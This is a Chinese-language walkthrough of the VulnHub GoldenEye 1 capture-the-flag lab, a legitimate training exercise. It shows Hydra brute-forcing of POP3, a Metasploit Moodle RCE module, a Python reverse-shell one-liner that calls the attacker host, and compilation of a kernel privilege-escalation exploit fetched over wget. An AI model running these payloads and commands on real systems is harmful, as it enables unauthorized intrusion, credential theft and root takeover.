目录
准备工作
靶机ip:192.168.198.137
kali:192.168.168.128
靶机地址:https://www.vulnhub.com/entry/goldeneye-1,240/
靶机难度:中等(CTF)
目标:得到root权限&找到flag.txt
主机发现
arp-scan 192.168.198.0/24
扫描挖掘本地的IP地址信息
nmap -sS -sV -T5 -A 192.168.198.137
发现开放了25、80端口
访问80端口网页
显示的文本提示了一条线索,它说进入到/sev-home/目录中。
User: UNKNOWN
Naviagate to /sev-home/ to login 需要登录,开始枚举查找用户名密码信息!
查看源代码
访问:view-source:http://192.168.4.202/terminal.js
获得用户名:Boris、Natalya
获得密码:
InvincibleHack3r
解密HTML:InvincibleHack3r
最终账号密码:boris/InvincibleHack3r
登录后进行信息枚举
F12调试界面发现信息
1)is very effective, we have configured our pop3 service to run on a very high non-default port
谷歌翻译:非常有效,我们已将 pop3 服务配置为在非常高的非默认端口上运行
2)Qualified GoldenEye Network Operator Supervisors: 合格的 GoldenEye 网络运营商主管 Natalya Boris
nmap全端口扫描
从上面的消息中,我们可以了解到某个非默认端口上正在运行一个活动的POP3服务,进行nmap全端口扫描:
nmap -p- 192.168.198.137
55006/tcp open unknown
55007/tcp open unknown
发现55006,55007两个开放的端口,扫描端口开启的服务详细信息:
nmap -sS -sV -T5 -A -p55006,55007 192.168.198.137
这段信息看出这两个端口开放了pop3的mail服务的,通过http://192.168.198.137/terminal.js页面,在注释中发现一条内容,指出目标系统正在使用默认密码。
暴力破解
接下来尝试使用暴力破解,在上一步中找到的用户名“boris”,通过Hydra暴力破解pop3服务:
echo -e 'natalya\nboris' > GodenEye.txt ---将两个用户名写入txt文本中
hydra -L GodenEye.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.137 -s 55007 pop3
经过2~5分钟等待,获得两组账号密码:
用户:boris 密码:secret1!
用户:natalya 密码:bird
登录pop3
通过NC登录pop3查看boris邮件信封内容枚举:
nc 192.168.198.137 55007 ---登录邮箱
user boris ---登录用户
pass secret1! ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
第二封来自用户“natalya”,称她可以破坏鲍里斯的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。
接下来查看natalya的邮件
nc 192.168.198.137 55007 ---登录邮箱
user natalya ---登录用户
pass bird ---登录密码
list ---查看邮件数量
retr 1~3 ---查看邮件内容
在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息:
用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com 网址:severnaya-station.com/gnocertdir
我们现根据邮件提示添加本地域名:severnaya-station.com
设置本地HOSTS文件
gedit /etc/hosts
192.168.198.137 severnaya-station.com
访问地址
访问severnaya-station.com/gnocertdir地址:
刚登陆界面我就看到了moodle,这是一个开源的CMS系统,继续点一点,发现要登陆,使用邮件获得的用户密码进行登陆
点击:Intro to GoldenEye可以进行登录,使用natalya邮箱第二封邮件获得的用户名密码登录:
用户名:xenia 密码:RCP90rulez!
Home / ▶ My profile / ▶ Messages --->发现有一封邮件,内容发现用户名doak
爆破用户名doak的邮件
echo doak > GodenEye.txt ---将用户名写入txt文本中
hydra -L GodenEye.txt -P /usr/share/wordlists/fasttrack.txt 192.168.198.137 -s 55007 pop3
获得用户名密码:doak/goat
登录doak用户查看邮件信息
nc 192.168.198.137 55007 ---登录邮箱
user doak ---登录用户
pass goat ---登录密码
list ---查看邮件数量
retr 1 ---查看邮件内容
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。
用户名:dr_doak
密码:4England!
使用新的账户密码登录CMS
登录后在:Home / ▶ My home 右边发现: s3cret.txt 另外发现这是Moodle使用的2.2.3版本
现在我们查看文件的内容,指出管理员凭据已隐藏在映像文件中,让我们在浏览器中打开图像以查看其内容。
将图像下载到本地
wget http://severnaya-station.com/dir007key/for-007.jpg
根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:
binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令) 等查看jpg文件底层内容!
exiftool for-007.jpg
strings for-007.jpg
用以上命令都可以查看到base64编码隐藏信息:eFdpbnRlcjE5OTV4IQ==
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。
用户名:admin
密码:xWinter1995x!
severnaya-station.com/gnocertdir
getshell(两种方法)
msf-getshell
这是Moodle使用的2.2.3版本
此版本有许多漏洞利用,由于我们需要在目标计算机上进行外壳访问,因此我选择使用远程代码执行(RCE)漏洞利用。
使用我们的神器:MSF
msfconsole ---进入MSF框架攻击界面
search moodle ---查找 moodle类型 攻击的模块
use 1 ---调用1 exploit/multi/http/moodle_spelling_binary_rce调用攻击脚本
set username admin ---设置用户名:admin
set password xWinter1995x! ---设置密码:xWinter1995x!
set rhost severnaya-station.com ---设置:rhosts severnaya-station.com
set targeturi /gnocertdir ---设置目录: /gnocertdir
set payload cmd/unix/reverse ---设置payload:cmd/unix/reverse
set lhost 192.168.198.128 ---设置:lhost 192.168.198.128(需要本地IP)
exploit ----执行命令
当我们执行后发现无法成功,是因为对方需要修改执行PSpellShell
由于我们已经使用了管理员admin用户登录页面,由于使用的是powershell命令,需要在设置中修改: Home / ▶ Site administration / ▶ Plugins / ▶ Text editors / ▶ TinyMCE HTML editor 来到此处,修改PSpellShell然后save!
然后重新exploit继续运行:获得shell
执行tty,因为获得的权限无框架
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
python反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.198.128",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
将代码替换到Path to aspell,ip改为攻击机ip,然后点击Save changes
接着在kali上监听6666端口,然后找到Home / ▶ My profile / ▶ Blogs / ▶ Add a new entry,点击下图3的位置反弹shell
执行tty
python -c 'import pty; pty.spawn("/bin/bash")' ---将shell进行tty
内核提权
uname -a 查看权限
谷歌搜索:Linux ubuntu 3.13.0-32 exploit 获得exp版本:37292
用uname -a
看看内核,然后去exploit-db搜一下exp。但是发现系统内没有装gcc。
cd /tmp # 进入/tmp目录,方便读写
searchsploit 37292 ---搜索kali本地的exp库中37292攻击脚本信息
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/ ---目录自行修改
这个靶场在枚举信息知道:
无法进行GCC编译,需要改下脚本为cc
gedit 37292.c ---文本打开
第143行将gcc改为cc ---编写下
然后在本目录下开启http服务:python -m http.server 8081
wget http://192.168.198.128:8081/37292.c ---wget下载http服务下的文件
成功下载后执行cc编译:
cc -o exp 37292.c ---C语言的CC代码编译点c文件
chmod +x exp ---编译成可执行文件,并赋权
./exp ---点杠执行
id ---查看目前权限
cat /root/.flag.txt ---读取root下的flag信息
568628e0d993b1973adc718237da6e93
此时拿到最终的flag!!!